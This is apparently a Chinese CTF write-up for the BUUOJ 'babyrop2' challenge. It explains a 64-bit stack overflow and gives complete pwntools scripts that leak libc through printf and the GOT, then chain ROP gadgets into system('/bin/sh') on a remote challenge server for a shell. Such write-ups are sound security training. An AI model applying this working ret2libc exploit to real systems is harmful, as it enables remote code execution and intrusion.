解题分析
按照惯例先checksec,发现开了nx和RELRO,又因为题目给了文件libc.so.6,所以猜测要需要构造ROP来布置程序执行路线图
运行程序来观察程序的逻辑,发现需要输入name,然后程序再把输入的name打印出来
64位IDA打开,发现buf缓冲区只有0x20个字节大小,但read却可以往buf缓冲区中写入0x100个字节,所以这里存在着栈溢出
shift+f12查看字符,发现并没有现成的backdoor函数可以利用,所以需要自己来构造
漏洞利用
存在着栈溢出,又因为知道了Libc同时没有现成的backdoor函数,所以需要利用read来泄露libc的基址来找到 system和/bin/sh的地址来构造 system(‘/bin/sh’),最后把返回地址覆盖成 system(‘/bin/sh’)的地址来getshell
payload解析
1.因为是64位的程序,所以需要通过寄存器给参数赋值
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 (主要利用rsi,但没有直接利用rsi的,所以用了这一条,r15并不影响程序的路线图,所以随便赋值都行)
ROPgadget --binary babyrop2 --only ‘pop|ret’|grep pop
2.利用printf来打印泄露的read的地址,需要给printf设置格式化字符,所以在题目中找到现成的%s的地址
fm_str = 0x400770
printf函数原型,format输出内容的格式(fm_str),[argument]输入的内容
int printf( const char* format , [argument] … );
3.一开始并不知道怎么样接收read地址,所以通过脚本来多次执行测试出泄露出来的read的地址每次都是7f开头,同时以50结尾,两者之间一共有6个字节
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) #7f是-1,从7f开始,接收前6个字节,并且用00补齐8字节
图中的hex的意义
1.代表着P前的空格
2.代表着P
3.50和7f之间的内容
4.代表着感叹号!
这些和下面Welcom to… again, 一一对应,即空格 到感叹号!之间的数据是泄露出来的read地址
(小端)泄露出来的read:0x7fa6a2756250
泄露出来的read:0x7f7308d76250
测试脚本
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',25601)
#p = process('./babyrop2')
elf = ELF('babyrop2')
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
fm_str = 0x400770
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']
payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str)
payload1 += p64(pop_rsi_r15)
payload1 += p64(read_got)
payload1 += p64(0)
payload1 += p64(printf_plt)
payload1 +=p64(main)
p.recvuntil("name? ")
p.sendline(payload1)
pause()
p.interactive()
3.找出system(‘/bin/sh’)地址
libc =ELF("libc.so.6")
libc.address = read_addr - libc.symbols["read"] #通过read的地址找libc基地址
bin_sh=libc.search("/bin/sh").next() #通过libc基地址找libc中/bin/sh的地址
sys_addr=libc.symbols["system"] #通过libc基地址找libc中system函数的地址
payload
#coding=utf-8
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',25601)
#p = process('./babyrop2')
elf = ELF('babyrop2')
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
fm_str = 0x400770
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']
payload1 = 'a'*0x28 #buf的大小+rbp
payload1 += p64(pop_rdi) #64位,需要用pop来传参
payload1 += p64(fm_str) #printf格式化字符
payload1 += p64(pop_rsi_r15) #pop传参,把read在got中的地址(read真实地址)打印出来
payload1 += p64(read_got) #rsi
payload1 += p64(0) #r15
payload1 += p64(printf_plt) #pop_rsi_r15后的返回地址,打印read地址
payload1 +=p64(main) #返回main函数,以便第二次传payload
p.recvuntil("name? ")
p.sendline(payload1)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success('read==>'+hex(read_addr))
# pause()
libc =ELF("libc.so.6")
libc.address = read_addr - libc.symbols["read"] #通过read的地址找libc基地址
bin_sh=libc.search("/bin/sh").next() #通过libc基地址找libc中/bin/sh的地址
sys_addr=libc.symbols["system"] #通过libc基地址找libc中system函数的地址
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
flag不在根目录下
find -name ‘flag’(找出flag所在位置)
Get!